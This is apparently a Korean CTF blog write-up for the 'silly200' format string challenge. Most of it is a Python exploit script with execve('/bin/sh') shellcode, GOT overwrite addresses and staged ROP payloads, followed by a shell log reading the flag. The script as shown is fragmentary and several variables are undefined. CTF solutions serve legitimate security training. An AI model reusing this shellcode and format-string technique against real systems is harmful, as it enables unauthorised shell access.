Category : Pwnables
read /home/silly200/flag.txt :p ADDR : challenge.b10s.org PORT : 13302 binary : http://jff.b10s.org/files/silly200 * ASLR & NX are enabled on challenge server |
Summary : Global variable based format string bug on Ubuntu 10.04
* 문제풀이 가능성 여부 자체에 대해 의문을 품는 분들도 계셔서 , 문제풀이를 쓰기전에 Exploit부터 올려두겠습니다.
silly200문제는 전역변수에 있는 문자열을 포맷스트링 없이 fprintf로 출력하면서 fsb취약점이 발생하는 문제입니다.
그런데 stack에는 공격자가 원하는대로 컨트롤 가능한 값이 4byte밖에 존재하지 않습니다.
이 문제를 풀이하기위해 약간 새로운 Format String Bug exploitation 기술이 사용되었으며 , 문서화중에 있습니다.
그래서 silly200 문제에 관련된 문서는 이 exploit을 포함해 3개가 작성될 예정입니다
아래코드가 문제풀이에 사용되는 Exploit입니다.
#!/usr/bin/python
from struct import pack
HOST = "challenge.b10s.org" SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x10\x48\x48\x48\x48\x48\xcd\x80" # execve("/bin/sh" , {"sh",0} , 0); Shellcode without 0x0b p = lambda x :pack("<L" , x)
printf_got = 0x804A018 # printf@got taddr = [] ######################## pin number ##############################
######################### STAGE 0 ################################ payload2 = "" stage_0 = rop1 + payload2
######################### STAGE 1 ################################# rop2 += p(leave_ret) # leave ; ret stage_1 = rop2
######################### STAGE 2 ################################## rop3 += p(sprintf_plt) # sprintf@plt stage_2 = rop3 ##################################################################### s = socket(AF_INET , SOCK_STREAM) s.recv(1024) s.recv(1024) ########################## Got Shell ############################## while 1: s.close() #################################################################### |
[pwn3r@localhost silly200]$ ./exploit.py $ id $ cat flag.txt |
풀이에 사용된 기술
http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack |
'CTF > 2012' 카테고리의 다른 글
BOB 1기 모의사이버전 - memod (1) | 2012.12.03 |
---|---|
POWER OF XX 2012 예선 - listd (1) | 2012.11.09 |
POWER OF XX 2012 본선 - leakme (0) | 2012.11.09 |
Just For Fun Season2 2012 - silly100 (8) | 2012.08.05 |
제 1회 청소년 화이트해커 경진대회 문제풀이보고서 (0) | 2012.05.24 |